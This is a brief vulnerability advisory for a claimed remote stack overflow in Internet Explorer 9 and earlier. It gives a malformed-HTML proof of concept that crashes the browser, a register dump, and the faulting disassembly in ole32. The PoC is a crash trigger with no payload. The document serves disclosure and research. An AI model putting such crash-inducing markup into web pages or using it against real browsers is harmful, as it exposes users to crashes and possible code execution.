----------------------------------------------------------------------
Microsoft Internet Explorer 9.x <= Remote Stack Overflow Vulnerability
----------------------------------------------------------------------
Author: Jean Pascal Pereira <pereira@secbiz.de>
Vendor: Microsoft Internet Explorer 9.x and below
Description:
The application is prone to a remote stack overflow vulnerability.
Successful exploitation may lead to arbitrary code execution.
----------------------------------------------------------------------
Proof Of Concept:
----------------------------------------------------------------------
<table></for xmlns="1">
<td><datetime><colgroup>
<id><dd><col>
</table><object>
<hr><base>
----------------------------------------------------------------------
Register Dump:
----------------------------------------------------------------------
EAX 800706BE
ECX 763FCDB3 RPCRT4.763FCDB3
EDX 00000000
EBX 0604393C
ESP 003FDDD4
EBP 003FDDE0
ESI 003FDE30
EDI 761AFA10 ole32.761AFA10
EIP 7629CF51 ole32.7629CF51
----------------------------------------------------------------------
Crash Instruction:
----------------------------------------------------------------------
7629CF36 8B4D E4 MOV ECX,DWORD PTR SS:[EBP-1C]
7629CF39 24 04 AND AL,4
7629CF3B 0FB6C0 MOVZX EAX,AL
7629CF3E F7D8 NEG EAX
7629CF40 1BC0 SBB EAX,EAX
7629CF42 25 0A010180 AND EAX,8001010A
7629CF47 8901 MOV DWORD PTR DS:[ECX],EAX
7629CF49 8B45 E8 MOV EAX,DWORD PTR SS:[EBP-18]
7629CF4C 50 PUSH EAX
7629CF4D 53 PUSH EBX
7629CF4E 8975 D8 MOV DWORD PTR SS:[EBP-28],ESI
7629CF51 FF70 5C PUSH DWORD PTR DS:[EAX+5C]
----------------------------------------------------------------------
At 0x7629CF51, a read access violation occurs.
----------------------------------------------------------------------
Jean Pascal Pereira <pereira@secbiz.de> || http://www.0xffe4.org
